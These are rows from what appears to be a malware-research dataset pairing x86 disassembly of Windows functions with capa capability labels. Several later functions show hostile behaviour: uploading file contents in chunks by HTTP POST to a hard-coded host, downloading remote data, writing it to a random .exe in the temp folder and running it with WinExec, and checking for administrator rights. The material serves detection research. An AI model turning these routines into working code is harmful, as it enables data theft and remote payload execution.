joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44258f
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x468ea6
mov eax, dword fs:[0]
push eax
sub esp, 0x38
push ebx
push esi
push edi
mov eax, dword [0x4946a0]
xor eax, esp
push eax
lea eax, [esp + 0x48]
mov dword fs:[0], eax
xor ebx, ebx
lea esi, [esp + 0x14]
mov dword [esp + 0x14], ebx
call fcn.0043d67b
mov cl, byte [eax + 4]
mov edi, dword [eax]
mov byte [esp + 0x10], cl
mov dword [esp + 0x1c], edi
mov byte [eax + 4], bl
mov dword [esp + 0x2c], edi
mov byte [esp + 0x30], cl
mov dword [esp + 0x50], ebx
cmp byte [esp + 0x18], bl
je 0x4425fa
push dword [esp + 0x14]
mov byte [esp + 0x1c], bl
call fcn.0044791c
pop ecx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
mov esi, 0x100001
lea eax, [esp + 0x34]
mov byte [esp + 0x50], 1
call fcn.0042b9a0
push edi
mov edi, dword [esp + 0x38]
dec esi
push esi
push 1
push edi
call fcn.004503e6
add esp, 0x10
mov dword [esp + 0x14], eax
cmp eax, esi
jbe 0x44264e
push 0xc8
lea esi, [esp + 0x20]
call fcn.00437d67
push 0x4858d4
mov eax, esi
push eax
call fcn.00450c19
push dword [esp + 0x1c]
call fcn.00450174
pop ecx
test eax, eax
je 0x442673
push 0x133
lea esi, [esp + 0x20]
call fcn.00437d67
push 0x4858d4
mov eax, esi
jmp 0x442648
push dword [esp + 0x1c]
call fcn.0045014c
pop ecx
test eax, eax
jne 0x442698
push 0x13b
lea esi, [esp + 0x20]
call fcn.00437d67
push 0x4858d4
mov eax, esi
jmp 0x442648
mov esi, dword [esp + 0x14]
mov ecx, esi
mov eax, edi
call fcn.0044255b
lea eax, [edi + esi]
mov esi, dword [ebp + 8]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov byte [esi], bl
cmp edi, eax
je 0x4426c6
sub eax, edi
push eax
push edi
mov ecx, esi
call fcn.00403683
cmp edi, ebx
je 0x4426d1
push edi
call fcn.00448f8c
pop ecx
cmp byte [esp + 0x10], bl
je 0x4426e1
push dword [esp + 0x1c]
call fcn.0044791c
pop ecx
mov eax, esi
mov ecx, dword [esp + 0x48]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x442939
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x240
lea ebp, [esp - 4]
mov eax, dword [0x4946a0]
xor eax, ebp
mov dword [ebp + 0x240], eax
push 0x14
mov eax, 0x468589
call fcn.00451049
xor esi, esi
lea eax, [ebp + 0x38]
push eax
push esi
push esi
push 0x23
push esi
mov dword [ebp - 0x10], esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
cmp eax, esi
je 0x44298f
push 0xc8
lea esi, [ebp - 0x20]
call fcn.00437d67
push 0x4858d4
mov eax, esi
push eax
call fcn.00450c19
lea eax, [ebp + 0x38]
push eax
lea eax, [ebp]
call fcn.0041e7f1
push 0x480044
push eax
lea eax, [ebp + 0x1c]
mov dword [ebp - 4], esi
call fcn.00437cde
push ebx
mov ecx, eax
mov byte [ebp - 4], 1
call fcn.0044031d
add esp, 0xc
push 1
xor edi, edi
lea esi, [ebp + 0x1c]
call fcn.0041b134
push 1
lea esi, [ebp]
call fcn.0041b134
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x240]
xor ecx, ebp
call fcn.00448f97
add ebp, 0x244
leave
ret
Function at 0x443c1c
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [ebp + 0x10]
mov ebx, eax
xor ecx, ecx
cmp dword [ebp + 0x14], ecx
jl 0x443c9c
jg 0x443c48
cmp esi, ecx
jbe 0x443c9c
cmp dword [ebp + 0x14], ecx
jg 0x443c48
jl 0x443c44
cmp esi, 0x7fffffff
jae 0x443c48
mov eax, esi
jmp 0x443c4d
mov eax, SysReAllocString
cmp dword [ebp + 8], 0xffffffff
mov dword [ebp - 4], ecx
je 0x443c8d
push ecx
lea ecx, [ebp - 4]
push ecx
push eax
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x443c77
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x6d
je 0x443c97
jmp 0x443c8d
mov eax, dword [ebp - 4]
test eax, eax
jle 0x443c88
add ebx, eax
cdq
sub esi, eax
sbb dword [ebp + 0x14], edx
jmp 0x443c28
cmp eax, 0xffffffff
jne 0x443c97
call fcn.0044f315
cmp dword [eax], 4
je 0x443c28
or eax, 0xffffffff
jmp 0x443c9e
xor eax, eax
pop esi
pop ebx
leave
ret
Function at 0x448f97
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4946a0]
jne 0x448fa1
repz ret
jmp fcn.00453670

Function at 0x45c0a4
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4946a0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00454dd8
and dword [ebp - 0x14], 0
cmp dword [0x498e14], 0
mov dword [ebp - 0x18], eax
jne 0x45c157
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x45c1ff
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x45c1ff
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x498e14], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x498e18], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x498e1c], eax
call edi
push eax
call esi
mov dword [0x498e24], eax
test eax, eax
je 0x45c157
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x498e20], eax
mov eax, dword [0x498e20]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x45c1b0
cmp dword [0x498e24], ecx
je 0x45c1b0
push eax
call esi
push dword [0x498e24]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x45c1b0
test ebx, ebx
je 0x45c1b0
call edi
test eax, eax
je 0x45c1a7
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x45c1a7
test byte [ebp - 8], 1
jne 0x45c1b0
or dword [ebp + 0x10], 0x200000
jmp 0x45c1e3
mov eax, dword [0x498e18]
cmp eax, dword [ebp - 0x18]
je 0x45c1e3
push eax
call esi
test eax, eax
je 0x45c1e3
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x45c1e3
mov eax, dword [0x498e1c]
cmp eax, dword [ebp - 0x18]
je 0x45c1e3
push eax
call esi
test eax, eax
je 0x45c1e3
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x498e14]
call esi
test eax, eax
je 0x45c1ff
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x45c201
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00448f97
leave
ret
Function at 0x401000
Capabilities:
Check os version

Disassembly:
sub esp, 0xa0
mov eax, dword [0x4129e8]
xor eax, esp
mov dword [esp + 0x9c], eax
push 0x98
lea eax, [esp + 8]
push 0
push eax
call fcn.00403910
add esp, 0xc
lea ecx, [esp]
push ecx
mov dword [esp + 4], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x401053
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.004038f9
add esp, 0xa0
ret
mov eax, dword [esp + 4]
cmp eax, 6
jne 0x4010e1
mov eax, dword [esp + 8]
test eax, eax
jne 0x40108c
cmp byte [esp + 0x9a], 1
setne al
lea eax, [eax + eax + 4]
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.004038f9
add esp, 0xa0
ret
cmp eax, 1
jne 0x4010b7
xor eax, eax
cmp byte [esp + 0x9a], 1
mov ecx, dword [esp + 0x9c]
setne al
xor ecx, esp
lea eax, [eax + eax + 5]
call fcn.004038f9
add esp, 0xa0
ret
cmp eax, 2
jne 0x401131
xor eax, eax
cmp byte [esp + 0x9a], 1
setne al
add eax, 8
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.004038f9
add esp, 0xa0
ret
cmp eax, 5
jne 0x401131
mov eax, dword [esp + 8]
cmp eax, 2
jne 0x401109
mov ecx, dword [esp + 0x9c]
xor ecx, esp
mov eax, 3
call fcn.004038f9
add esp, 0xa0
ret
cmp eax, 1
jne 0x401128
mov eax, 2
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.004038f9
add esp, 0xa0
ret
test eax, eax
jne 0x401131
mov eax, 1
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.004038f9
add esp, 0xa0
ret

Function at 0x401180
Capabilities:
Get disk information

Disassembly:
mov eax, dword [0x4129e8]
sub esp, 0x810
xor eax, esp
mov dword [esp + 0x80c], eax
push ebx
xor ebx, ebx
push 0x3ff
lea eax, [esp + 0x415]
push ebx
push eax
mov byte [esp + 0x41c], bl
call fcn.00403910
push 0x3ff
lea ecx, [esp + 0x21]
push ebx
push ecx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov byte [esp + 0x28], bl
call fcn.00403910
add esp, 0x18
push 0x400
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x14]
push edx
push 0x400
lea eax, [esp + 0x428]
push eax
push 0x40f214
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [esp + 0x810]
neg eax
sbb eax, eax
and eax, dword [esp + 4]
pop ebx
xor ecx, esp
call fcn.004038f9
add esp, 0x810
ret
Function at 0x4019c0
Capabilities:
Connect to http server
Send data
Send http request

Disassembly:
mov eax, dword [0x4129e8]
sub esp, 8
xor eax, esp
mov dword [esp + 4], eax
mov eax, dword [esp + 0xc]
push ebx
push edi
push esi
mov esi, dword [esp + 0x20]
push ebp
push 0xfa
mov dword [esp + 0x14], eax
call fcn.00403e92
add esp, 4
mov ebx, eax
test ebx, ebx
je 0x401b23
push 0xfa
push 0
push ebx
call fcn.00403910
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, dword [esp + 0x28]
push eax
push edi
push esi
push 0x413b20
push ebx
call fcn.00403b50
mov ebp, dword [esp + 0x34]
sub ebp, 0xffffffe8
push ebp
call fcn.00403e92
add esp, 0x18
mov esi, eax
test esi, esi
je 0x401b14
mov dword [esi], edi
mov dword [esi + 4], ebp
mov eax, dword [0x413d24]
mov dword [esi + 8], eax
mov ecx, dword [0x413d28]
mov dword [esi + 0xc], ecx
mov edx, dword [esp + 0x20]
mov eax, dword [0x413d2c]
mov dword [esi + 0x10], eax
mov eax, dword [esp + 0x10]
mov edi, dword [0x413d30]
push edx
mov dword [esi + 0x14], edi
push eax
lea ecx, [esi + 0x18]
push ecx
call fcn.00404300
movzx edx, byte [0x4129e0]
push edx
push ebp
push esi
call fcn.00401980
mov ecx, dword [0x413d58]
sub esp, 0xffffffe8
mov eax, dword [str.___x_7__3_x59_]
push 0
push 0
push 3
push 0
push 0
push 0x50
push eax
push ecx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edi, eax
test edi, edi
je 0x401b18
push 0
push 0x100
push 0
push 0
push str.HTTP_1.1
push ebx
push str.POST
push edi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov dword [esp + 0x10], eax
or eax, eax
je 0x401b18
push ebp
push esi
push 0
push 0
push eax
call dword [sym.imp.WININET.dll_HttpSendRequestA]
cmp eax, 1
jne 0x401b18
push ebx
call fcn.00404267
push esi
call fcn.00404267
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
sub esp, 0xfffffff8
push edi
call ebx
mov edx, dword [esp + 0x10]
push edx
call ebx
pop ebp
pop esi
mov al, 1
pop edi
pop ebx
mov ecx, dword [esp + 4]
xor ecx, esp
call fcn.004038f9
add esp, 8
ret
mov edi, dword [esp + 0x10]
push ebx
call fcn.00404267
sub esp, 0xfffffffc
jmp 0x401b2b
mov esi, dword [esp + 0x10]
mov edi, dword [esp + 0x10]
test esi, esi
je 0x401b38
push esi
call fcn.00404267
sub esp, 0xfffffffc
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
test edi, edi
je 0x401b45
push edi
call esi
mov eax, dword [esp + 0x10]
or eax, eax
je 0x401b50
push eax
call esi
mov ecx, dword [esp + 0x14]
pop ebp
pop esi
pop edi
pop ebx
xor ecx, esp
xor al, al
call fcn.004038f9
sub esp, 0xfffffff8
ret
Function at 0x401b70
Capabilities:
Read data from internet
Receive data

Disassembly:
mov eax, dword [0x4129e8]
sub esp, 0x134
xor eax, esp
mov dword [esp + 0x130], eax
push esi
push 0x12b
lea eax, [esp + 0xd]
push 0
push eax
mov byte [esp + 0x14], 0
call fcn.00403910
sub esp, 0xfffffff4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea ecx, [esp + 0xc]
push 0x413c20
push ecx
call fcn.00403b50
sub esp, 0xfffffff4
mov eax, dword [0x413d58]
push 0
push 0x100
push 0
push 0
lea edx, [esp + 0x18]
push edx
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
je 0x401c2b
mov edx, dword [0x4129dc]
mov eax, dword [0x413d5c]
push ebx
lea ecx, [esp + 8]
push ecx
push edx
push eax
push esi
mov dword [esp + 0x18], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
or eax, eax
push esi
setne bl
call dword [sym.imp.WININET.dll_InternetCloseHandle]
test bl, bl
pop ebx
je 0x401c2b
cmp dword [esp + 4], 0
je 0x401c2b
pop esi
mov ecx, dword [esp + 0x130]
xor ecx, esp
mov al, 1
call fcn.004038f9
add esp, 0x134
ret
mov ecx, dword [esp + 0x134]
pop esi
xor ecx, esp
xor al, al
call fcn.004038f9
add esp, 0x134
ret

Function at 0x401c50
Capabilities:
Read data from internet
Receive data

Disassembly:
add esp, 0xfffffecc
mov eax, dword [0x4129e8]
xor eax, esp
mov dword [esp + 0x130], eax
push ebp
mov ebp, dword [esp + 0x13c]
push edi
push 0x12b
lea eax, [esp + 0x11]
push 0
push eax
mov byte [esp + 0x18], 0
call fcn.00403910
sub esp, 0xfffffff4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea ecx, [esp + 0x10]
push 0x413a20
push ecx
call fcn.00403b50
sub esp, 0xfffffff4
mov eax, dword [0x413d58]
push 0
push 0x100
push 0
push 0
lea edx, [esp + 0x1c]
push edx
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
or edi, edi
je 0x401d1f
mov ecx, dword [0x4129dc]
mov edx, dword [0x413d5c]
push ecx
push 0
push edx
call fcn.00403910
mov edx, dword [0x413d5c]
mov ecx, dword [0x4129dc]
add esp, 0xc
lea eax, [esp + 8]
push eax
push ecx
push edx
push edi
mov dword [esp + 0x18], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401d07
mov eax, dword [esp + 8]
or eax, eax
jne 0x401d38
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [esp + 8]
test eax, eax
je 0x401d1f
push eax
call fcn.00404267
add esp, 4
xor eax, eax
pop edi
pop ebp
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.004038f9
add esp, 0x134
ret
push esi
push eax
call fcn.00403e92
mov esi, eax
mov ecx, dword [0x413d5c]
mov eax, dword [esp + 0x10]
push eax
push ecx
push esi
call fcn.00404300
movzx edx, byte [0x4129e0]
mov eax, dword [esp + 0x1c]
push edx
push eax
push esi
call fcn.00401980
mov ecx, dword [esp + 0x28]
add esp, 0x1c
push edi
mov dword [ebp], ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
call fcn.00401b70
mov ecx, dword [esp + 0x13c]
mov eax, esi
pop esi
pop edi
pop ebp
xor ecx, esp
call fcn.004038f9
sub esp, 0xfffffecc
ret
Function at 0x401da0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x10c
mov eax, dword [0x4129e8]
xor eax, esp
mov dword [esp + 0x108], eax
mov eax, dword [esp + 0x110]
cmp byte [eax + 0x10], 0
push ebx
lea ebx, [eax + 0x10]
mov dword [esp + 4], ebx
je 0x401de1
pop ebx
xor al, al
mov ecx, dword [esp + 0x108]
xor ecx, esp
call fcn.004038f9
add esp, 0x10c
ret
push edi
push ebp
push 0x103
lea eax, [esp + 0x15]
push 0
push eax
mov byte [esp + 0x1c], 0
call fcn.00403910
add esp, 0xc
lea ecx, [esp + 0x10]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edi, [esp + 0x10]
lea ecx, [edi + 1]
mov al, byte [edi]
sub edi, 0xffffffff
or al, al
jne 0x401e13
sub edi, ecx
lea ebp, [edi + 6]
cmp edi, ebp
jge 0x401e54
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
call ebx
xor edx, edx
push 1
mov ecx, 0x1a
div ecx
add dl, 0x61
mov byte [esp + edi + 0x18], dl
call esi
add edi, 1
cmp edi, ebp
jl 0x401e32
mov ebx, dword [esp + 0x10]
pop esi
lea edx, [esp + 0x10]
pop ebp
sub edx, 1
pop edi
lea ecx, [ecx]
mov cl, byte [edx + 1]
sub edx, 0xffffffff
test cl, cl
jne 0x401e60
mov eax, dword [str..exe]
mov cl, byte [0x40f294]
mov dword [edx], eax
mov byte [edx + 4], cl
mov edx, ebx
lea eax, [esp + 8]
mov ebx, eax
sub edx, ebx
mov bl, byte [eax]
mov byte [edx + eax], bl
add eax, 1
test bl, bl
jne 0x401e85
mov ecx, dword [esp + 0x10c]
pop ebx
xor ecx, esp
mov al, 1
call fcn.004038f9
add esp, 0x10c
ret

Function at 0x401eb0
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
push edi
push esi
call fcn.00401da0
lea edi, [esi + 0x10]
push edi
mov bl, al
push edi
call fcn.004018e0
sub esp, 0xfffffff4
cmp dword [esi], 1
je 0x401edb
mov eax, dword [0x4129e4]
cmp eax, 0xffffffff
jne 0x401efe
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x4129e4], eax
je 0x401f53
mov ecx, dword [esi + 8]
push 0
push 0
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x401f3d
lea ecx, [esi + 0x114]
mov eax, dword [esi + 0xc]
push 0
lea edx, [esp + 0x14]
push edx
mov edx, dword [0x4129e4]
push eax
push ecx
push edx
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x401f59
mov eax, dword [0x4129e4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x4129e4], 0xffffffff
xor al, al
pop edi
pop esi
pop ebx
ret
cmp dword [esi], 3
jne 0x401f82
mov ecx, dword [0x4129e4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
mov dword [0x4129e4], 0xffffffff
je 0x401f82
push 0
push edi
call dword [sym.imp.KERNEL32.dll_WinExec]
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0x401ff0
Capabilities:
Get file size
Read file on windows

Disassembly:
add esp, 0xfffffdec
mov eax, dword [0x4129e8]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
mov ebx, dword [esp + 0x21c]
push edi
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0xc], edi
je 0x4021e4
push ebp
push esi
push 0
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x4021bf
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x4021bf
or ebp, ebp
je 0x4021bf
push 4
push 0x1000
push 0x19400
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x4021c9
xor edi, edi
lea esp, [esp]
push 0x19400
push 0
push esi
call fcn.00403910
mov eax, dword [esp + 0x20]
sub esp, 0xfffffff4
push 0
push 0
push edi
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x4021c5
lea edx, [esi + 0x114]
mov eax, dword [esp + 0x14]
push 0
lea ecx, [esp + 0x14]
push ecx
push 0x19000
push edx
push eax
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
or eax, eax
je 0x4021e2
mov ecx, dword [esp + 0x10]
lea edx, [esi + 0x10]
push edx
push ebx
mov dword [esi + 0xc], ecx
mov dword [esi + 8], edi
mov dword [esi], 2
mov dword [esi + 4], ebp
call fcn.00401870
push 0x103
lea eax, [esp + 0x25]
push 0
push eax
mov byte [esp + 0x2c], 0
call fcn.00403910
push 0x103
lea ecx, [esp + 0x135]
push 0
push ecx
mov byte [esp + 0x13c], 0
call fcn.00403910
lea edx, [esp + 0x38]
push edx
push ebx
call fcn.00401f90
push 0x413d34
lea eax, [esp + 0x44]
push eax
mov eax, 0x51eb851f
mul ebp
shr edx, 0xf
add edx, 1
mov eax, 0x51eb851f
push edx
mul edi
shr edx, 0xf
add edx, 1
push edx
lea ecx, [esp + 0x154]
push str._d_of__d_for__s_on__s
push ecx
call fcn.00403b50
mov eax, dword [esp + 0x50]
add esp, 0x40
push 3
sub eax, 0xfffffeec
lea edx, [esp + 0x120]
push edx
push eax
push esi
call fcn.004019c0
sub esp, 0xfffffff0
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
add edi, 0x19000
cmp edi, ebp
jbe 0x402090
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4021d4
mov esi, dword [esp + 0x10]
jmp 0x4021c9
mov edi, dword [esp + 0x14]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x4021e2
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop esi
pop ebp
mov ecx, dword [esp + 0x218]
pop edi
pop ebx
xor ecx, esp
xor al, al
call fcn.004038f9
add esp, 0x214
ret
Function at 0x402960
Capabilities:
Get common file path

Disassembly:
add esp, 0xfffffef8
mov eax, dword [0x4129e8]
xor eax, esp
mov dword [esp + 0x104], eax
push 0x103
lea eax, [esp + 5]
push 0
push eax
mov byte [esp + 0xc], 0
call fcn.00403910
sub esp, 0xfffffff4
push 0x104
lea ecx, [esp + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [esp]
mov byte [esp + 3], 0
add eax, 0xffffffff
mov cl, byte [eax + 1]
add eax, 1
or cl, cl
jne 0x4029a8
mov edx, dword [str.Program_Files__x86_]
mov ecx, dword [0x40f334]
mov dword [eax], edx
mov edx, dword [0x40f338]
mov dword [eax + 4], ecx
mov ecx, dword [0x40f33c]
mov dword [eax + 8], edx
mov edx, dword [0x40f340]
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], edx
lea eax, [esp]
push eax
call fcn.00402900
mov ecx, dword [esp + 0x108]
sub esp, 0xfffffffc
xor ecx, esp
call fcn.004038f9
sub esp, 0xfffffef8
ret

Function at 0x402a00
Capabilities:
Write file on windows

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push 0x40f210
push ebx
call fcn.00403b3d
add esp, 8
or eax, eax
je 0x402a24
push eax
call fcn.004039fd
add esp, 4
xor al, al
pop ebx
ret
mov eax, dword [esp + 8]
push ebp
push 0x40f21c
push eax
call fcn.00403b3d
mov ebp, eax
sub esp, 0xfffffff8
test ebp, ebp
jne 0x402a42
pop ebp
xor al, al
pop ebx
ret
push edi
push esi
push 2
push 0
push ebp
call fcn.004041e2
push ebp
call fcn.004040ed
push 0
push 0
push ebp
mov edi, eax
call fcn.004041e2
push edi
call fcn.00403e92
push ebp
push 1
mov esi, eax
push edi
push esi
call fcn.00403e28
push ebp
call fcn.004039fd
add esp, 0x34
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x40f344
push ebx
mov dword [esi + edi - 8], eax
call fcn.00403b3d
mov ebp, eax
push ebp
push 1
push edi
push esi
call fcn.0040477f
push ebp
call fcn.004039fd
sub esp, 0xffffffe4
pop esi
pop edi
pop ebp
mov al, 1
pop ebx
ret
Function at 0x402ab0
Capabilities:
Compare security identifiers

Disassembly:
sub esp, 0x20
mov eax, dword [0x4129e8]
xor eax, esp
mov dword [esp + 0x1c], eax
xor eax, eax
push edi
push ebp
xor ebp, ebp
push esi
cmp dword [esp + 0x30], ebp
push ebx
mov dword [esp + 0x10], ebp
mov dword [esp + 0x18], ebp
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x20], ebp
mov byte [esp + 0x24], al
mov byte [esp + 0x25], al
mov byte [esp + 0x26], al
mov byte [esp + 0x27], al
mov byte [esp + 0x28], al
mov byte [esp + 0x29], 5
jne 0x402afb
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push ebp
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, ebp
mov dword [esp + 0x14], edi
je 0x402bd8
or ebx, 0xffffffff
cmp edi, ebx
je 0x402bd8
lea eax, [esp + 0x18]
push eax
push 0xf01ff
push edi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x402b3f
mov dword [esp + 0x10], ebx
jmp 0x402be0
lea ecx, [esp + 0x1c]
push ecx
push ebp
push ebp
push ebp
push ebp
push ebp
push ebp
push 0x220
push 0x20
push 2
lea edx, [esp + 0x4c]
push edx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
jne 0x402b68
mov dword [esp + 0x10], ebx
jmp 0x402be0
push 0x400
call fcn.00403e92
mov esi, eax
push 0x400
push ebp
push esi
call fcn.00403910
mov ecx, dword [esp + 0x28]
sub esp, 0xfffffff0
lea eax, [esp + 0x20]
push eax
push 0x400
push esi
push 2
push ecx
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov ebx, dword [esi]
cmp ebx, ebp
jle 0x402be4
lea edi, [esi + 4]
mov eax, dword [esp + 0x1c]
mov edx, dword [edi]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
jne 0x402bc8
sub ebp, 0xffffffff
sub edi, 0xfffffff8
cmp ebp, ebx
jl 0x402ba4
mov edi, dword [esp + 0x14]
xor ebp, ebp
jmp 0x402be4
mov edi, dword [esp + 0x14]
mov dword [esp + 0x10], 1
xor ebp, ebp
jmp 0x402be4
mov dword [esp + 0x10], 0xffffffff
mov esi, dword [esp + 0x14]
cmp esi, ebp
je 0x402bf1
push esi
call fcn.00404267
sub esp, 0xfffffffc
mov eax, dword [esp + 0x1c]
cmp eax, ebp
je 0x402c00
push eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
cmp edi, ebp
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x402c12
cmp edi, 0xffffffff
je 0x402c12
push edi
call ebx
mov eax, dword [esp + 0x18]
cmp eax, ebp
je 0x402c22
cmp eax, 0xffffffff
je 0x402c22
push eax
call ebx
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x2c]
pop ebx
pop esi
pop ebp
pop edi
xor ecx, esp
call fcn.004038f9
sub esp, 0xffffffe0
ret